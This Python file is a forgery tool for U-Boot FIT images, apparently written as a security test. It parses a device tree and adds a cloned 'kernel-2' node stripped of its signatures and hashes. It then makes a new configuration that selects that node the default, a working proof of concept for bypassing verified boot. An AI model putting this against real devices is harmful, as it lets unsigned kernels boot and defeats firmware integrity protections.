| #!/usr/bin/python3 |
| # SPDX-License-Identifier: GPL-2.0 |
| # Copyright (c) 2020, F-Secure Corporation, https://foundry.f-secure.com |
| # |
| # pylint: disable=E1101,W0201,C0103 |
| |
| """ |
| Verified boot image forgery tools and utilities |
| |
| This module provides services to both take apart and regenerate FIT images |
| in a way that preserves all existing verified boot signatures, unless you |
| manipulate nodes in the process. |
| """ |
| |
| import struct |
| import binascii |
| from io import BytesIO |
| |
| # |
| # struct parsing helpers |
| # |
| |
| class BetterStructMeta(type): |
| """ |
| Preprocesses field definitions and creates a struct.Struct instance from them |
| """ |
| def __new__(cls, clsname, superclasses, attributedict): |
| if clsname != 'BetterStruct': |
| fields = attributedict['__fields__'] |
| field_types = [_[0] for _ in fields] |
| field_names = [_[1] for _ in fields if _[1] is not None] |
| attributedict['__names__'] = field_names |
| s = struct.Struct(attributedict.get('__endian__', '') + ''.join(field_types)) |
| attributedict['__struct__'] = s |
| attributedict['size'] = s.size |
| return type.__new__(cls, clsname, superclasses, attributedict) |
| |
| class BetterStruct(metaclass=BetterStructMeta): |
| """ |
| Base class for better structures |
| """ |
| def __init__(self): |
| for t, n in self.__fields__: |
| if 's' in t: |
| setattr(self, n, '') |
| elif t in ('Q', 'I', 'H', 'B'): |
| setattr(self, n, 0) |
| |
| @classmethod |
| def unpack_from(cls, buffer, offset=0): |
| """ |
| Unpack structure instance from a buffer |
| """ |
| fields = cls.__struct__.unpack_from(buffer, offset) |
| instance = cls() |
| for n, v in zip(cls.__names__, fields): |
| setattr(instance, n, v) |
| return instance |
| |
| def pack(self): |
| """ |
| Pack structure instance into bytes |
| """ |
| return self.__struct__.pack(*[getattr(self, n) for n in self.__names__]) |
| |
| def __str__(self): |
| items = ["'%s': %s" % (n, repr(getattr(self, n))) for n in self.__names__ if n is not None] |
| return '(' + ', '.join(items) + ')' |
| |
| # |
| # some defs for flat DT data |
| # |
| |
| class HeaderV17(BetterStruct): |
| __endian__ = '>' |
| __fields__ = [ |
| ('I', 'magic'), |
| ('I', 'totalsize'), |
| ('I', 'off_dt_struct'), |
| ('I', 'off_dt_strings'), |
| ('I', 'off_mem_rsvmap'), |
| ('I', 'version'), |
| ('I', 'last_comp_version'), |
| ('I', 'boot_cpuid_phys'), |
| ('I', 'size_dt_strings'), |
| ('I', 'size_dt_struct'), |
| ] |
| |
| class RRHeader(BetterStruct): |
| __endian__ = '>' |
| __fields__ = [ |
| ('Q', 'address'), |
| ('Q', 'size'), |
| ] |
| |
| class PropHeader(BetterStruct): |
| __endian__ = '>' |
| __fields__ = [ |
| ('I', 'value_size'), |
| ('I', 'name_offset'), |
| ] |
| |
| # magical constants for DTB format |
| OF_DT_HEADER = 0xd00dfeed |
| OF_DT_BEGIN_NODE = 1 |
| OF_DT_END_NODE = 2 |
| OF_DT_PROP = 3 |
| OF_DT_END = 9 |
| |
| class StringsBlock: |
| """ |
| Represents a parsed device tree string block |
| """ |
| def __init__(self, values=None): |
| if values is None: |
| self.values = [] |
| else: |
| self.values = values |
| |
| def __getitem__(self, at): |
| if isinstance(at, str): |
| offset = 0 |
| for value in self.values: |
| if value == at: |
| break |
| offset += len(value) + 1 |
| else: |
| self.values.append(at) |
| return offset |
| |
| if isinstance(at, int): |
| offset = 0 |
| for value in self.values: |
| if offset == at: |
| return value |
| offset += len(value) + 1 |
| raise IndexError('no string found corresponding to the given offset') |
| |
| raise TypeError('only strings and integers are accepted') |
| |
| class Prop: |
| """ |
| Represents a parsed device tree property |
| """ |
| def __init__(self, name=None, value=None): |
| self.name = name |
| self.value = value |
| |
| def clone(self): |
| return Prop(self.name, self.value) |
| |
| def __repr__(self): |
| return "<Prop(name='%s', value=%s>" % (self.name, repr(self.value)) |
| |
| class Node: |
| """ |
| Represents a parsed device tree node |
| """ |
| def __init__(self, name=None): |
| self.name = name |
| self.props = [] |
| self.children = [] |
| |
| def clone(self): |
| o = Node(self.name) |
| o.props = [x.clone() for x in self.props] |
| o.children = [x.clone() for x in self.children] |
| return o |
| |
| def __getitem__(self, index): |
| return self.children[index] |
| |
| def __repr__(self): |
| return "<Node('%s'), %s, %s>" % (self.name, repr(self.props), repr(self.children)) |
| |
| # |
| # flat DT to memory |
| # |
| |
| def parse_strings(strings): |
| """ |
| Converts the bytes into a StringsBlock instance so it is convenient to work with |
| """ |
| strings = strings.split(b'\x00') |
| return StringsBlock(strings) |
| |
| def parse_struct(stream): |
| """ |
| Parses DTB structure(s) into a Node or Prop instance |
| """ |
| tag = bytearray(stream.read(4))[3] |
| if tag == OF_DT_BEGIN_NODE: |
| name = b'' |
| while b'\x00' not in name: |
| name += stream.read(4) |
| name = name.rstrip(b'\x00') |
| node = Node(name) |
| |
| item = parse_struct(stream) |
| while item is not None: |
| if isinstance(item, Node): |
| node.children.append(item) |
| elif isinstance(item, Prop): |
| node.props.append(item) |
| item = parse_struct(stream) |
| |
| return node |
| |
| if tag == OF_DT_PROP: |
| h = PropHeader.unpack_from(stream.read(PropHeader.size)) |
| length = (h.value_size + 3) & (~3) |
| value = stream.read(length)[:h.value_size] |
| prop = Prop(h.name_offset, value) |
| return prop |
| |
| if tag in (OF_DT_END_NODE, OF_DT_END): |
| return None |
| |
| raise ValueError('unexpected tag value') |
| |
| def read_fdt(fp): |
| """ |
| Reads and parses the flattened device tree (or derivatives like FIT) |
| """ |
| header = HeaderV17.unpack_from(fp.read(HeaderV17.size)) |
| if header.magic != OF_DT_HEADER: |
| raise ValueError('invalid magic value %08x; expected %08x' % (header.magic, OF_DT_HEADER)) |
| # TODO: read/parse reserved regions |
| fp.seek(header.off_dt_struct) |
| structs = fp.read(header.size_dt_struct) |
| fp.seek(header.off_dt_strings) |
| strings = fp.read(header.size_dt_strings) |
| strblock = parse_strings(strings) |
| root = parse_struct(BytesIO(structs)) |
| |
| return root, strblock |
| |
| # |
| # memory to flat DT |
| # |
| |
| def compose_structs_r(item): |
| """ |
| Recursive part of composing Nodes and Props into a bytearray |
| """ |
| t = bytearray() |
| |
| if isinstance(item, Node): |
| t.extend(struct.pack('>I', OF_DT_BEGIN_NODE)) |
| if isinstance(item.name, str): |
| item.name = bytes(item.name, 'utf-8') |
| name = item.name + b'\x00' |
| if len(name) & 3: |
| name += b'\x00' * (4 - (len(name) & 3)) |
| t.extend(name) |
| for p in item.props: |
| t.extend(compose_structs_r(p)) |
| for c in item.children: |
| t.extend(compose_structs_r(c)) |
| t.extend(struct.pack('>I', OF_DT_END_NODE)) |
| |
| elif isinstance(item, Prop): |
| t.extend(struct.pack('>I', OF_DT_PROP)) |
| value = item.value |
| h = PropHeader() |
| h.name_offset = item.name |
| if value: |
| h.value_size = len(value) |
| t.extend(h.pack()) |
| if len(value) & 3: |
| value += b'\x00' * (4 - (len(value) & 3)) |
| t.extend(value) |
| else: |
| h.value_size = 0 |
| t.extend(h.pack()) |
| |
| return t |
| |
| def compose_structs(root): |
| """ |
| Composes the parsed Nodes into a flat bytearray instance |
| """ |
| t = compose_structs_r(root) |
| t.extend(struct.pack('>I', OF_DT_END)) |
| return t |
| |
| def compose_strings(strblock): |
| """ |
| Composes the StringsBlock instance back into a bytearray instance |
| """ |
| b = bytearray() |
| for s in strblock.values: |
| b.extend(s) |
| b.append(0) |
| return bytes(b) |
| |
| def write_fdt(root, strblock, fp): |
| """ |
| Writes out a complete flattened device tree (or FIT) |
| """ |
| header = HeaderV17() |
| header.magic = OF_DT_HEADER |
| header.version = 17 |
| header.last_comp_version = 16 |
| fp.write(header.pack()) |
| |
| header.off_mem_rsvmap = fp.tell() |
| fp.write(RRHeader().pack()) |
| |
| structs = compose_structs(root) |
| header.off_dt_struct = fp.tell() |
| header.size_dt_struct = len(structs) |
| fp.write(structs) |
| |
| strings = compose_strings(strblock) |
| header.off_dt_strings = fp.tell() |
| header.size_dt_strings = len(strings) |
| fp.write(strings) |
| |
| header.totalsize = fp.tell() |
| |
| fp.seek(0) |
| fp.write(header.pack()) |
| |
| # |
| # pretty printing / converting to DT source |
| # |
| |
| def as_bytes(value): |
| return ' '.join(["%02X" % x for x in value]) |
| |
| def prety_print_value(value): |
| """ |
| Formats a property value as appropriate depending on the guessed data type |
| """ |
| if not value: |
| return '""' |
| if value[-1] == b'\x00': |
| printable = True |
| for x in value[:-1]: |
| x = ord(x) |
| if x != 0 and (x < 0x20 or x > 0x7F): |
| printable = False |
| break |
| if printable: |
| value = value[:-1] |
| return ', '.join('"' + x + '"' for x in value.split(b'\x00')) |
| if len(value) > 0x80: |
| return '[' + as_bytes(value[:0x80]) + ' ... ]' |
| return '[' + as_bytes(value) + ']' |
| |
| def pretty_print_r(node, strblock, indent=0): |
| """ |
| Prints out a single node, recursing further for each of its children |
| """ |
| spaces = ' ' * indent |
| print((spaces + '%s {' % (node.name.decode('utf-8') if node.name else '/'))) |
| for p in node.props: |
| print((spaces + ' %s = %s;' % (strblock[p.name].decode('utf-8'), prety_print_value(p.value)))) |
| for c in node.children: |
| pretty_print_r(c, strblock, indent+1) |
| print((spaces + '};')) |
| |
| def pretty_print(node, strblock): |
| """ |
| Generates an almost-DTS formatted printout of the parsed device tree |
| """ |
| print('/dts-v1/;') |
| pretty_print_r(node, strblock, 0) |
| |
| # |
| # manipulating the DT structure |
| # |
| |
| def manipulate(root, strblock): |
| """ |
| Maliciously manipulates the structure to create a crafted FIT file |
| """ |
| # locate /images/kernel-1 (frankly, it just expects it to be the first one) |
| kernel_node = root[0][0] |
| # clone it to save time filling all the properties |
| fake_kernel = kernel_node.clone() |
| # rename the node |
| fake_kernel.name = b'kernel-2' |
| # get rid of signatures/hashes |
| fake_kernel.children = [] |
| # NOTE: this simply replaces the first prop... either description or data |
| # should be good for testing purposes |
| fake_kernel.props[0].value = b'Super 1337 kernel\x00' |
| # insert the new kernel node under /images |
| root[0].children.append(fake_kernel) |
| |
| # modify the default configuration |
| root[1].props[0].value = b'conf-2\x00' |
| # clone the first (only?) configuration |
| fake_conf = root[1][0].clone() |
| # rename and change kernel and fdt properties to select the crafted kernel |
| fake_conf.name = b'conf-2' |
| fake_conf.props[0].value = b'kernel-2\x00' |
| fake_conf.props[1].value = b'fdt-1\x00' |
| # insert the new configuration under /configurations |
| root[1].children.append(fake_conf) |
| |
| return root, strblock |
| |
| def main(argv): |
| with open(argv[1], 'rb') as fp: |
| root, strblock = read_fdt(fp) |
| |
| print("Before:") |
| pretty_print(root, strblock) |
| |
| root, strblock = manipulate(root, strblock) |
| print("After:") |
| pretty_print(root, strblock) |
| |
| with open('blah', 'w+b') as fp: |
| write_fdt(root, strblock, fp) |
| |
| if __name__ == '__main__': |
| import sys |
| main(sys.argv) |
| # EOF |